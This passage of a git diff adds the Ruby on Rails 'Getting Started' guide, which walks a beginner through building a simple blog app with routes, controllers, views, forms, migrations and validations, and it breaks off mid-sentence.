+### `generate`
+
+Runs the specified generator where the first argument is the generator name and the remaining arguments are passed directly to the generator.
+
+```ruby
+generate "scaffold", "forums title:string description:text"
+```
+
+
+### `rake`
+
+Runs the specified Rake task.
+
+```ruby
+rake "db:migrate"
+```
+
+Available options are:
+
+* `:env` - Specifies the environment in which to run this rake task.
+* `:sudo` - Whether or not to run this task using `sudo`. Defaults to `false`.
+
+### `capify!`
+
+Runs the `capify` command from Capistrano at the root of the application which generates Capistrano configuration.
+
+```ruby
+capify!
+```
+
+### `route`
+
+Adds text to the `config/routes.rb` file:
+
+```ruby
+route "resources :people"
+```
+
+### `readme`
+
+Output the contents of a file in the template's `source_path`, usually a README.
+
+```ruby
+readme "README"
+```
diff --git a/guides/source/getting_started.md b/guides/source/getting_started.md
new file mode 100644
index 0000000..d97c919
--- /dev/null
+++ b/guides/source/getting_started.md
@@ -0,0 +1,1947 @@
+Getting Started with Rails
+==========================
+
+This guide covers getting up and running with Ruby on Rails.
+
+After reading this guide, you will know:
+
+* How to install Rails, create a new Rails application, and connect your
+  application to a database.
+* The general layout of a Rails application.
+* The basic principles of MVC (Model, View, Controller) and RESTful design.
+* How to quickly generate the starting pieces of a Rails application.
+
+--------------------------------------------------------------------------------
+
+Guide Assumptions
+-----------------
+
+This guide is designed for beginners who want to get started with a Rails
+application from scratch. It does not assume that you have any prior experience
+with Rails. However, to get the most out of it, you need to have some
+prerequisites installed:
+
+* The [Ruby](http://www.ruby-lang.org/en/downloads) language version 1.9.3 or newer.
+* The [RubyGems](http://rubygems.org) packaging system, which is installed with Ruby
+  versions 1.9 and later. To learn more about RubyGems, please read the [RubyGems Guides](http://guides.rubygems.org).
+* A working installation of the [SQLite3 Database](http://www.sqlite.org).
+
+Rails is a web application framework running on the Ruby programming language.
+If you have no prior experience with Ruby, you will find a very steep learning
+curve diving straight into Rails. There are several curated lists of online resources
+for learning Ruby:
+
+* [Official Ruby Programming Language website](https://www.ruby-lang.org/en/documentation/)
+* [reSRC's List of Free Programming Books](http://resrc.io/list/10/list-of-free-programming-books/#ruby)
+
+Be aware that some resources, while still excellent, cover versions of Ruby as old as
+1.6, and commonly 1.8, and will not include some syntax that you will see in day-to-day
+development with Rails.
+
+What is Rails?
+--------------
+
+Rails is a web application development framework written in the Ruby language.
+It is designed to make programming web applications easier by making assumptions
+about what every developer needs to get started. It allows you to write less
+code while accomplishing more than many other languages and frameworks.
+Experienced Rails developers also report that it makes web application
+development more fun.
+
+Rails is opinionated software. It makes the assumption that there is the "best"
+way to do things, and it's designed to encourage that way - and in some cases to
+discourage alternatives. If you learn "The Rails Way" you'll probably discover a
+tremendous increase in productivity. If you persist in bringing old habits from
+other languages to your Rails development, and trying to use patterns you
+learned elsewhere, you may have a less happy experience.
+
+The Rails philosophy includes two major guiding principles:
+
+* **Don't Repeat Yourself:** DRY is a principle of software development which
+  states that "Every piece of knowledge must have a single, unambiguous, authoritative
+  representation within a system." By not writing the same information over and over
+  again, our code is more maintainable, more extensible, and less buggy.
+* **Convention Over Configuration:** Rails has opinions about the best way to do many
+  things in a web application, and defaults to this set of conventions, rather than
+  require that you specify every minutiae through endless configuration files.
+
+Creating a New Rails Project
+----------------------------
+
+The best way to use this guide is to follow each step as it happens, no code or
+step needed to make this example application has been left out, so you can
+literally follow along step by step. You can get the complete code
+[here](https://github.com/rails/docrails/tree/master/guides/code/getting_started).
+
+By following along with this guide, you'll create a Rails project called
+`blog`, a
+(very) simple weblog. Before you can start building the application, you need to
+make sure that you have Rails itself installed.
+
+TIP: The examples below use `$` to represent your terminal prompt in a UNIX-like OS,
+though it may have been customized to appear differently. If you are using Windows,
+your prompt will look something like `c:\source_code>`
+
+### Installing Rails
+
+Open up a command line prompt. On Mac OS X open Terminal.app, on Windows choose
+"Run" from your Start menu and type 'cmd.exe'. Any commands prefaced with a
+dollar sign `$` should be run in the command line. Verify that you have a
+current version of Ruby installed:
+
+TIP. A number of tools exist to help you quickly install Ruby and Ruby
+on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org),
+while Mac OS X users can use [Tokaido](https://github.com/tokaido/tokaidoapp).
+
+```bash
+$ ruby -v
+ruby 2.0.0p353
+```
+
+If you don't have Ruby installed have a look at
+[ruby-lang.org](https://www.ruby-lang.org/en/downloads/) for possible ways to
+install Ruby on your platform.
+
+Many popular UNIX-like OSes ship with an acceptable version of SQLite3. Windows
+users and others can find installation instructions at [the SQLite3 website](http://www.sqlite.org).
+Verify that it is correctly installed and in your PATH:
+
+```bash
+$ sqlite3 --version
+```
+
+The program should report its version.
+
+To install Rails, use the `gem install` command provided by RubyGems:
+
+```bash
+$ gem install rails
+```
+
+To verify that you have everything installed correctly, you should be able to
+run the following:
+
+```bash
+$ bin/rails --version
+```
+
+If it says something like "Rails 4.1.1", you are ready to continue.
+
+### Creating the Blog Application
+
+Rails comes with a number of scripts called generators that are designed to make
+your development life easier by creating everything that's necessary to start
+working on a particular task. One of these is the new application generator,
+which will provide you with the foundation of a fresh Rails application so that
+you don't have to write it yourself.
+
+To use this generator, open a terminal, navigate to a directory where you have
+rights to create files, and type:
+
+```bash
+$ rails new blog
+```
+
+This will create a Rails application called Blog in a `blog` directory and
+install the gem dependencies that are already mentioned in `Gemfile` using
+`bundle install`.
+
+TIP: You can see all of the command line options that the Rails application
+builder accepts by running `rails new -h`.
+
+After you create the blog application, switch to its folder:
+
+```bash
+$ cd blog
+```
+
+The `blog` directory has a number of auto-generated files and folders that make
+up the structure of a Rails application. Most of the work in this tutorial will
+happen in the `app` folder, but here's a basic rundown on the function of each
+of the files and folders that Rails created by default:
+
+| File/Folder | Purpose |
+| ----------- | ------- |
+|app/|Contains the controllers, models, views, helpers, mailers and assets for your application. You'll focus on this folder for the remainder of this guide.|
+|bin/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.|
+|config/|Configure your application's routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html).|
+|config.ru|Rack configuration for Rack based servers used to start the application.|
+|db/|Contains your current database schema, as well as the database migrations.|
+|Gemfile<br>Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see [the Bundler website](http://gembundler.com).|
+|lib/|Extended modules for your application.|
+|log/|Application log files.|
+|public/|The only folder seen by the world as-is. Contains static files and compiled assets.|
+|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.|
+|README.rdoc|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.|
+|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html).|
+|tmp/|Temporary files (like cache, pid, and session files).|
+|vendor/|A place for all third-party code. In a typical Rails application this includes vendored gems.|
+
+Hello, Rails!
+-------------
+
+To begin with, let's get some text up on screen quickly. To do this, you need to
+get your Rails application server running.
+
+### Starting up the Web Server
+
+You actually have a functional Rails application already. To see it, you need to
+start a web server on your development machine. You can do this by running the
+following in the `blog` directory:
+
+```bash
+$ bin/rails server
+```
+
+TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the
+absence of a runtime will give you an `execjs` error. Usually Mac OS X and
+Windows come with a JavaScript runtime installed. Rails adds the `therubyracer`
+gem to the generated `Gemfile` in a commented line for new apps and you can
+uncomment if you need it. `therubyrhino` is the recommended runtime for JRuby
+users and is added by default to the `Gemfile` in apps generated under JRuby.
+You can investigate about all the supported runtimes at
+[ExecJS](https://github.com/sstephenson/execjs#readme).
+
+This will fire up WEBrick, a web server distributed with Ruby by default. To see
+your application in action, open a browser window and navigate to
+<http://localhost:3000>. You should see the Rails default information page:
+
+![Welcome aboard screenshot](images/getting_started/rails_welcome.png)
+
+TIP: To stop the web server, hit Ctrl+C in the terminal window where it's
+running. To verify the server has stopped you should see your command prompt
+cursor again. For most UNIX-like systems including Mac OS X this will be a
+dollar sign `$`. In development mode, Rails does not generally require you to
+restart the server; changes you make in files will be automatically picked up by
+the server.
+
+The "Welcome aboard" page is the _smoke test_ for a new Rails application: it
+makes sure that you have your software configured correctly enough to serve a
+page. You can also click on the _About your application's environment_ link to
+see a summary of your application's environment.
+
+### Say "Hello", Rails
+
+To get Rails saying "Hello", you need to create at minimum a _controller_ and a
+_view_.
+
+A controller's purpose is to receive specific requests for the application.
+_Routing_ decides which controller receives which requests. Often, there is more
+than one route to each controller, and different routes can be served by
+different _actions_. Each action's purpose is to collect information to provide
+it to a view.
+
+A view's purpose is to display this information in a human readable format. An
+important distinction to make is that it is the _controller_, not the view,
+where information is collected. The view should just display that information.
+By default, view templates are written in a language called eRuby (Embedded
+Ruby) which is processed by the request cycle in Rails before being sent to the
+user.
+
+To create a new controller, you will need to run the "controller" generator and
+tell it you want a controller called "welcome" with an action called "index",
+just like this:
+
+```bash
+$ bin/rails generate controller welcome index
+```
+
+Rails will create several files and a route for you.
+
+```bash
+create  app/controllers/welcome_controller.rb
+ route  get 'welcome/index'
+invoke  erb
+create    app/views/welcome
+create    app/views/welcome/index.html.erb
+invoke  test_unit
+create    test/controllers/welcome_controller_test.rb
+invoke  helper
+create    app/helpers/welcome_helper.rb
+invoke    test_unit
+create      test/helpers/welcome_helper_test.rb
+invoke  assets
+invoke    coffee
+create      app/assets/javascripts/welcome.js.coffee
+invoke    scss
+create      app/assets/stylesheets/welcome.css.scss
+```
+
+Most important of these are of course the controller, located at `app/controllers/welcome_controller.rb`
+and the view, located at `app/views/welcome/index.html.erb`.
+
+Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all
+of the existing code in the file, and replace it with the following single line
+of code:
+
+```html
+<h1>Hello, Rails!</h1>
+```
+
+### Setting the Application Home Page
+
+Now that we have made the controller and view, we need to tell Rails when we
+want "Hello, Rails!" to show up. In our case, we want it to show up when we
+navigate to the root URL of our site, <http://localhost:3000>. At the moment,
+"Welcome aboard" is occupying that spot.
+
+Next, you have to tell Rails where your actual home page is located.
+
+Open the file `config/routes.rb` in your editor.
+
+```ruby
+Rails.application.routes.draw do
+  get 'welcome/index'
+
+  # The priority is based upon order of creation:
+  # first created -> highest priority.
+  #
+  # You can have the root of your site routed with "root"
+  # root 'welcome#index'
+  #
+  # ...
+```
+
+This is your application's _routing file_ which holds entries in a special DSL
+(domain-specific language) that tells Rails how to connect incoming requests to
+controllers and actions. This file contains many sample routes on commented
+lines, and one of them actually shows you how to connect the root of your site
+to a specific controller and action. Find the line beginning with `root` and
+uncomment it. It should look something like the following:
+
+```ruby
+root 'welcome#index'
+```
+
+`root 'welcome#index'` tells Rails to map requests to the root of the
+application to the welcome controller's index action and `get 'welcome/index'`
+tells Rails to map requests to <http://localhost:3000/welcome/index> to the
+welcome controller's index action. This was created earlier when you ran the
+controller generator (`rails generate controller welcome index`).
+
+Launch the web server again if you stopped it to generate the controller (`rails
+server`) and navigate to <http://localhost:3000> in your browser. You'll see the
+"Hello, Rails!" message you put into `app/views/welcome/index.html.erb`,
+indicating that this new route is indeed going to `WelcomeController`'s `index`
+action and is rendering the view correctly.
+
+TIP: For more information about routing, refer to [Rails Routing from the Outside In](routing.html).
+
+Getting Up and Running
+----------------------
+
+Now that you've seen how to create a controller, an action and a view, let's
+create something with a bit more substance.
+
+In the Blog application, you will now create a new _resource_. A resource is the
+term used for a collection of similar objects, such as articles, people or
+animals.
+You can create, read, update and destroy items for a resource and these
+operations are referred to as _CRUD_ operations.
+
+Rails provides a `resources` method which can be used to declare a standard REST
+resource. Here's what `config/routes.rb` should look like after the
+_article resource_ is declared.
+
+```ruby
+Blog::Application.routes.draw do
+
+  resources :articles
+
+  root 'welcome#index'
+end
+```
+
+If you run `rake routes`, you'll see that it has defined routes for all the
+standard RESTful actions.  The meaning of the prefix column (and other columns)
+will be seen later, but for now notice that Rails has inferred the
+singular form `article` and makes meaningful use of the distinction.
+
+```bash
+$ bin/rake routes
+      Prefix Verb   URI Pattern                  Controller#Action
+    articles GET    /articles(.:format)          articles#index
+             POST   /articles(.:format)          articles#create
+ new_article GET    /articles/new(.:format)      articles#new
+edit_article GET    /articles/:id/edit(.:format) articles#edit
+     article GET    /articles/:id(.:format)      articles#show
+             PATCH  /articles/:id(.:format)      articles#update
+             PUT    /articles/:id(.:format)      articles#update
+             DELETE /articles/:id(.:format)      articles#destroy
+        root GET    /                            welcome#index
+```
+
+In the next section, you will add the ability to create new articles in your
+application and be able to view them. This is the "C" and the "R" from CRUD:
+creation and reading. The form for doing this will look like this:
+
+![The new article form](images/getting_started/new_article.png)
+
+It will look a little basic for now, but that's ok. We'll look at improving the
+styling for it afterwards.
+
+### Laying down the ground work
+
+Firstly, you need a place within the application to create a new article. A
+great place for that would be at `/articles/new`. With the route already
+defined, requests can now be made to `/articles/new` in the application.
+Navigate to <http://localhost:3000/articles/new> and you'll see a routing
+error:
+
+![Another routing error, uninitialized constant ArticlesController](images/getting_started/routing_error_no_controller.png)
+
+This error occurs because the route needs to have a controller defined in order
+to serve the request. The solution to this particular problem is simple: create
+a controller called `ArticlesController`. You can do this by running this
+command:
+
+```bash
+$ bin/rails g controller articles
+```
+
+If you open up the newly generated `app/controllers/articles_controller.rb`
+you'll see a fairly empty controller:
+
+```ruby
+class ArticlesController < ApplicationController
+end
+```
+
+A controller is simply a class that is defined to inherit from
+`ApplicationController`.
+It's inside this class that you'll define methods that will become the actions
+for this controller. These actions will perform CRUD operations on the articles
+within our system.
+
+NOTE: There are `public`, `private` and `protected` methods in Ruby,
+but only `public` methods can be actions for controllers.
+For more details check out [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/).
+
+If you refresh <http://localhost:3000/articles/new> now, you'll get a new error:
+
+![Unknown action new for ArticlesController!](images/getting_started/unknown_action_new_for_articles.png)
+
+This error indicates that Rails cannot find the `new` action inside the
+`ArticlesController` that you just generated. This is because when controllers
+are generated in Rails they are empty by default, unless you tell it
+your wanted actions during the generation process.
+
+To manually define an action inside a controller, all you need to do is to
+define a new method inside the controller.
+Open `app/controllers/articles_controller.rb` and inside the `ArticlesController`
+class, define a `new` method like this:
+
+```ruby
+def new
+end
+```
+
+With the `new` method defined in `ArticlesController`, if you refresh
+<http://localhost:3000/articles/new> you'll see another error:
+
+![Template is missing for articles/new](images/getting_started/template_is_missing_articles_new.png)
+
+You're getting this error now because Rails expects plain actions like this one
+to have views associated with them to display their information. With no view
+available, Rails errors out.
+
+In the above image, the bottom line has been truncated. Let's see what the full
+thing looks like:
+
+<blockquote>
+Missing template articles/new, application/new with {locale:[:en], formats:[:html], handlers:[:erb, :builder, :coffee]}. Searched in: * "/path/to/blog/app/views"
+</blockquote>
+
+That's quite a lot of text! Let's quickly go through and understand what each
+part of it does.
+
+The first part identifies what template is missing. In this case, it's the
+`articles/new` template. Rails will first look for this template. If not found,
+then it will attempt to load a template called `application/new`. It looks for
+one here because the `ArticlesController` inherits from `ApplicationController`.
+
+The next part of the message contains a hash. The `:locale` key in this hash
+simply indicates what spoken language template should be retrieved. By default,
+this is the English - or "en" - template. The next key, `:formats` specifies the
+format of template to be served in response. The default format is `:html`, and
+so Rails is looking for an HTML template. The final key, `:handlers`, is telling
+us what _template handlers_ could be used to render our template. `:erb` is most
+commonly used for HTML templates, `:builder` is used for XML templates, and
+`:coffee` uses CoffeeScript to build JavaScript templates.
+
+The final part of this message tells us where Rails has looked for the templates.
+Templates within a basic Rails application like this are kept in a single
+location, but in more complex applications it could be many different paths.
+
+The simplest template that would work in this case would be one located at
+`app/views/articles/new.html.erb`. The extension of this file name is key: the
+first extension is the _format_ of the template, and the second extension is the
+_handler_ that will be used. Rails is attempting to find a template called
+`articles/new` within `app/views` for the application. The format for this
+template can only be `html` and the handler must be one of `erb`, `builder` or
+`coffee`. Because you want to create a new HTML form, you will be using the `ERB`
+language. Therefore the file should be called `articles/new.html.erb` and needs
+to be located inside the `app/views` directory of the application.
+
+Go ahead now and create a new file at `app/views/articles/new.html.erb` and
+write this content in it:
+
+```html
+<h1>New Article</h1>
+```
+
+When you refresh <http://localhost:3000/articles/new> you'll now see that the
+page has a title. The route, controller, action and view are now working
+harmoniously! It's time to create the form for a new article.
+
+### The first form
+
+To create a form within this template, you will use a <em>form
+builder</em>. The primary form builder for Rails is provided by a helper
+method called `form_for`. To use this method, add this code into
+`app/views/articles/new.html.erb`:
+
+```html+erb
+<%= form_for :article do |f| %>
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+```
+
+If you refresh the page now, you'll see the exact same form as in the example.
+Building forms in Rails is really just that easy!
+
+When you call `form_for`, you pass it an identifying object for this
+form. In this case, it's the symbol `:article`. This tells the `form_for`
+helper what this form is for. Inside the block for this method, the
+`FormBuilder` object - represented by `f` - is used to build two labels and two
+text fields, one each for the title and text of an article. Finally, a call to
+`submit` on the `f` object will create a submit button for the form.
+
+There's one problem with this form though. If you inspect the HTML that is
+generated, by viewing the source of the page, you will see that the `action`
+attribute for the form is pointing at `/articles/new`. This is a problem because
+this route goes to the very page that you're on right at the moment, and that
+route should only be used to display the form for a new article.
+
+The form needs to use a different URL in order to go somewhere else.
+This can be done quite simply with the `:url` option of `form_for`.
+Typically in Rails, the action that is used for new form submissions
+like this is called "create", and so the form should be pointed to that action.
+
+Edit the `form_for` line inside `app/views/articles/new.html.erb` to look like
+this:
+
+```html+erb
+<%= form_for :article, url: articles_path do |f| %>
+```
+
+In this example, the `articles_path` helper is passed to the `:url` option.
+To see what Rails will do with this, we look back at the output of
+`rake routes`:
+
+```bash
+$ bin/rake routes
+      Prefix Verb   URI Pattern                  Controller#Action
+    articles GET    /articles(.:format)          articles#index
+             POST   /articles(.:format)          articles#create
+ new_article GET    /articles/new(.:format)      articles#new
+edit_article GET    /articles/:id/edit(.:format) articles#edit
+     article GET    /articles/:id(.:format)      articles#show
+             PATCH  /articles/:id(.:format)      articles#update
+             PUT    /articles/:id(.:format)      articles#update
+             DELETE /articles/:id(.:format)      articles#destroy
+        root GET    /                            welcome#index
+```
+
+The `articles_path` helper tells Rails to point the form
+to the URI Pattern associated with the `articles` prefix; and
+the form will (by default) send a `POST` request
+to that route.  This is associated with the
+`create` action of the current controller, the `ArticlesController`.
+
+With the form and its associated route defined, you will be able to fill in the
+form and then click the submit button to begin the process of creating a new
+article, so go ahead and do that. When you submit the form, you should see a
+familiar error:
+
+![Unknown action create for ArticlesController](images/getting_started/unknown_action_create_for_articles.png)
+
+You now need to create the `create` action within the `ArticlesController` for
+this to work.
+
+### Creating articles
+
+To make the "Unknown action" go away, you can define a `create` action within
+the `ArticlesController` class in `app/controllers/articles_controller.rb`,
+underneath the `new` action:
+
+```ruby
+class ArticlesController < ApplicationController
+  def new
+  end
+
+  def create
+  end
+end
+```
+
+If you re-submit the form now, you'll see another familiar error: a template is
+missing. That's ok, we can ignore that for now. What the `create` action should
+be doing is saving our new article to the database.
+
+When a form is submitted, the fields of the form are sent to Rails as
+_parameters_. These parameters can then be referenced inside the controller
+actions, typically to perform a particular task. To see what these parameters
+look like, change the `create` action to this:
+
+```ruby
+def create
+  render plain: params[:article].inspect
+end
+```
+
+The `render` method here is taking a very simple hash with a key of `plain` and
+value of `params[:article].inspect`. The `params` method is the object which
+represents the parameters (or fields) coming in from the form. The `params`
+method returns an `ActiveSupport::HashWithIndifferentAccess` object, which
+allows you to access the keys of the hash using either strings or symbols. In
+this situation, the only parameters that matter are the ones from the form.
+
+If you re-submit the form one more time you'll now no longer get the missing
+template error. Instead, you'll see something that looks like the following:
+
+```ruby
+{"title"=>"First article!", "text"=>"This is my first article."}
+```
+
+This action is now displaying the parameters for the article that are coming in
+from the form. However, this isn't really all that helpful. Yes, you can see the
+parameters but nothing in particular is being done with them.
+
+### Creating the Article model
+
+Models in Rails use a singular name, and their corresponding database tables use
+a plural name. Rails provides a generator for creating models, which
+most Rails developers tend to use when creating new models.
+To create the new model, run this command in your terminal:
+
+```bash
+$ bin/rails generate model Article title:string text:text
+```
+
+With that command we told Rails that we want a `Article` model, together
+with a _title_ attribute of type string, and a _text_ attribute
+of type text. Those attributes are automatically added to the `articles`
+table in the database and mapped to the `Article` model.
+
+Rails responded by creating a bunch of files. For
+now, we're only interested in `app/models/article.rb` and
+`db/migrate/20140120191729_create_articles.rb` (your name could be a bit
+different). The latter is responsible
+for creating the database structure, which is what we'll look at next.
+
+TIP: Active Record is smart enough to automatically map column names to
+model attributes, which means you don't have to declare attributes
+inside Rails models, as that will be done automatically by Active
+Record.
+
+### Running a Migration
+
+As we've just seen, `rails generate model` created a _database
+migration_ file inside the `db/migrate` directory.
+Migrations are Ruby classes that are designed to make it simple to
+create and modify database tables. Rails uses rake commands to run migrations,
+and it's possible to undo a migration after it's been applied to your database.
+Migration filenames include a timestamp to ensure that they're processed in the
+order that they were created.
+
+If you look in the `db/migrate/20140120191729_create_articles.rb` file (remember,
+yours will have a slightly different name), here's what you'll find:
+
+```ruby
+class CreateArticles < ActiveRecord::Migration
+  def change
+    create_table :articles do |t|
+      t.string :title
+      t.text :text
+
+      t.timestamps
+    end
+  end
+end
+```
+
+The above migration creates a method named `change` which will be called when
+you run this migration. The action defined in this method is also reversible,
+which means Rails knows how to reverse the change made by this migration,
+in case you want to reverse it later. When you run this migration it will create
+an `articles` table with one string column and a text column. It also creates
+two timestamp fields to allow Rails to track article creation and update times.
+
+TIP: For more information about migrations, refer to [Rails Database
+Migrations](migrations.html).
+
+At this point, you can use a rake command to run the migration:
+
+```bash
+$ bin/rake db:migrate
+```
+
+Rails will execute this migration command and tell you it created the Articles
+table.
+
+```bash
+==  CreateArticles: migrating ==================================================
+-- create_table(:articles)
+   -> 0.0019s
+==  CreateArticles: migrated (0.0020s) =========================================
+```
+
+NOTE. Because you're working in the development environment by default, this
+command will apply to the database defined in the `development` section of your
+`config/database.yml` file. If you would like to execute migrations in another
+environment, for instance in production, you must explicitly pass it when
+invoking the command: `rake db:migrate RAILS_ENV=production`.
+
+### Saving data in the controller
+
+Back in `ArticlesController`, we need to change the `create` action
+to use the new `Article` model to save the data in the database.
+Open `app/controllers/articles_controller.rb` and change the `create` action to
+look like this:
+
+```ruby
+def create
+  @article = Article.new(params[:article])
+
+  @article.save
+  redirect_to @article
+end
+```
+
+Here's what's going on: every Rails model can be initialized with its
+respective attributes, which are automatically mapped to the respective
+database columns. In the first line we do just that
+(remember that `params[:article]` contains the attributes we're interested in).
+Then, `@article.save` is responsible for saving the model in the database.
+Finally, we redirect the user to the `show` action, which we'll define later.
+
+TIP: As we'll see later, `@article.save` returns a boolean indicating
+whether the article was saved or not.
+
+If you now go to
+<http://localhost:3000/articles/new> you'll *almost* be able to create an
+article. Try it! You should get an error that looks like this:
+
+![Forbidden attributes for new article](images/getting_started/forbidden_attributes_for_new_article.png)
+
+Rails has several security features that help you write secure applications,
+and you're running into one of them now. This one is called
+`strong_parameters`, which requires us to tell Rails exactly which parameters
+we want to accept in our controllers. In this case, we want to allow the
+`title` and `text` parameters, so add the new `article_params` method, and
+change your `create` controller action to use it, like this:
+
+```ruby
+def create
+  @article = Article.new(article_params)
+
+  @article.save
+  redirect_to @article
+end
+
+private
+  def article_params
+    params.require(:article).permit(:title, :text)
+  end
+```
+
+See the `permit`? It allows us to accept both `title` and `text` in this
+action.
+
+TIP: Note that `def article_params` is private. This new approach prevents an
+attacker from setting the model's attributes by manipulating the hash passed to
+the model.
+For more information, refer to
+[this blog article about Strong Parameters](http://weblog.rubyonrails.org/2012/3/21/strong-parameters/).
+
+### Showing Articles
+
+If you submit the form again now, Rails will complain about not finding
+the `show` action. That's not very useful though, so let's add the
+`show` action before proceeding.
+
+As we have seen in the output of `rake routes`, the route for `show` action is
+as follows:
+
+```
+article GET    /articles/:id(.:format)      articles#show
+```
+
+The special syntax `:id` tells rails that this route expects an `:id`
+parameter, which in our case will be the id of the article.
+
+As we did before, we need to add the `show` action in
+`app/controllers/articles_controller.rb` and its respective view.
+
+```ruby
+def show
+  @article = Article.find(params[:id])
+end
+```
+
+A couple of things to note. We use `Article.find` to find the article we're
+interested in, passing in `params[:id]` to get the `:id` parameter from the
+request. We also use an instance variable (prefixed by `@`) to hold a
+reference to the article object. We do this because Rails will pass all instance
+variables to the view.
+
+Now, create a new file `app/views/articles/show.html.erb` with the following
+content:
+
+```html+erb
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+```
+
+With this change, you should finally be able to create new articles.
+Visit <http://localhost:3000/articles/new> and give it a try!
+
+![Show action for articles](images/getting_started/show_action_for_articles.png)
+
+### Listing all articles
+
+We still need a way to list all our articles, so let's do that.
+The route for this as per output of `rake routes` is:
+
+```
+articles GET    /articles(.:format)          articles#index
+```
+
+Add the corresponding `index` action for that route inside the
+`ArticlesController` in the `app/controllers/articles_controller.rb` file:
+
+```ruby
+def index
+  @articles = Article.all
+end
+```
+
+And then finally, add view for this action, located at
+`app/views/articles/index.html.erb`:
+
+```html+erb
+<h1>Listing articles</h1>
+
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Text</th>
+  </tr>
+
+  <% @articles.each do |article| %>
+    <tr>
+      <td><%= article.title %></td>
+      <td><%= article.text %></td>
+    </tr>
+  <% end %>
+</table>
+```
+
+Now if you go to `http://localhost:3000/articles` you will see a list of all the
+articles that you have created.
+
+### Adding links
+
+You can now create, show, and list articles. Now let's add some links to
+navigate through pages.
+
+Open `app/views/welcome/index.html.erb` and modify it as follows:
+
+```html+erb
+<h1>Hello, Rails!</h1>
+<%= link_to 'My Blog', controller: 'articles' %>
+```
+
+The `link_to` method is one of Rails' built-in view helpers. It creates a
+hyperlink based on text to display and where to go - in this case, to the path
+for articles.
+
+Let's add links to the other views as well, starting with adding this
+"New Article" link to `app/views/articles/index.html.erb`, placing it above the
+`<table>` tag:
+
+```erb
+<%= link_to 'New article', new_article_path %>
+```
+
+This link will allow you to bring up the form that lets you create a new article.
+
+Also add a link in `app/views/articles/new.html.erb`, underneath the form, to
+go back to the `index` action:
+
+```erb
+<%= form_for :article, url: articles_path do |f| %>
+  ...
+<% end %>
+
+<%= link_to 'Back', articles_path %>
+```
+
+Finally, add another link to the `app/views/articles/show.html.erb` template to
+go back to the `index` action as well, so that people who are viewing a single
+article can go back and view the whole list again:
+
+```html+erb
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<%= link_to 'Back', articles_path %>
+```
+
+TIP: If you want to link to an action in the same controller, you don't
+need to specify the `:controller` option, as Rails will use the current
+controller by default.
+
+TIP: In development mode (which is what you're working in by default), Rails
+reloads your application with every browser request, so there's no need to stop
+and restart the web server when a change is made.
+
+### Adding Some Validation
+
+The model file, `app/models/article.rb` is about as simple as it can get:
+
+```ruby
+class Article < ActiveRecord::Base
+end
+```
+
+There isn't much to this file - but note that the `Article` class inherits from
+`ActiveRecord::Base`. Active Record supplies a great deal of functionality to
+your Rails models for free, including basic database CRUD (Create, Read, Update,
+Destroy) operations, data validation, as well as sophisticated search support
+and the ability to relate multiple models to one another.
+
+Rails includes methods to help you validate the data that you send to models.
+Open the `app/models/article.rb` file and edit it:
+
+```ruby
+class Article < ActiveRecord::Base
+  validates :title, presence: true,
+                    length: { minimum: 5 }
+end
+```
+
+These changes will ensure that all articles have a title that is at least five
+characters long. Rails can validate a variety of conditions in a model,
+including the presence or uniqueness of columns, their format, and the
+existence of associated objects. Validations are covered in detail in [Active
+Record Validations](active_record_validations.html)
+
+With the validation now in place, when you call `@article.save` on an invalid
+article, it will return `false`. If you open
+`app/controllers/articles_controller.rb` again, you'll notice that we don't
+check the result of calling `@article.save` inside the `create` action.
+If `@article.save` fails in this situation, we need to show the form back to the
+user. To do this, change the `new` and `create` actions inside
+`app/controllers/articles_controller.rb` to these:
+
+```ruby
+def new
+  @article = Article.new
+end
+
+def create
+  @article = Article.new(article_params)
+
+  if @article.save
+    redirect_to @article
+  else
+    render 'new'
+  end
+end
+
+private
+  def article_params
+    params.require(:article).permit(:title, :text)
+  end
+```
+
+The `new` action is now creating a new instance variable called `@article`, and
+you'll see why that is in just a few moments.
+
+Notice that inside the `create` action we use `render` instead of `redirect_to`
+when `save` returns `false`. The `render` method is used so that the `@article`
+object is passed back to the `new` template when it is rendered. This rendering
+is done within the same request as the form submission, whereas the
+`redirect_to` will tell the browser to issue another request.
+
+If you reload
+<http://localhost:3000/articles/new> and
+try to save an article without a title, Rails will send you back to the
+form, but that's not very useful. You need to tell the user that
+something went wrong. To do that, you'll modify
+`app/views/articles/new.html.erb` to check for error messages:
+
+```html+erb
+<%= form_for :article, url: articles_path do |f| %>
+  <% if @article.errors.any? %>
+  <div id="error_explanation">
+    <h2><%= pluralize(@article.errors.count, "error") %> prohibited
+      this article from being saved:</h2>
+    <ul>
+    <% @article.errors.full_messages.each do |msg| %>
+      <li><%= msg %></li>
+    <% end %>
+    </ul>
+  </div>
+  <% end %>
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Back', articles_path %>
+```
+
+A few things are going on. We check if there are any errors with
+`@article.errors.any?`, and in that case we show a list of all
+errors with `@article.errors.full_messages`.
+
+`pluralize` is a rails helper that takes a number and a string as its
+arguments. If the number is greater than one, the string will be automatically
+pluralized.
+
+The reason why we added `@article = Article.new` in the `ArticlesController` is
+that otherwise `@article` would be `nil` in our view, and calling
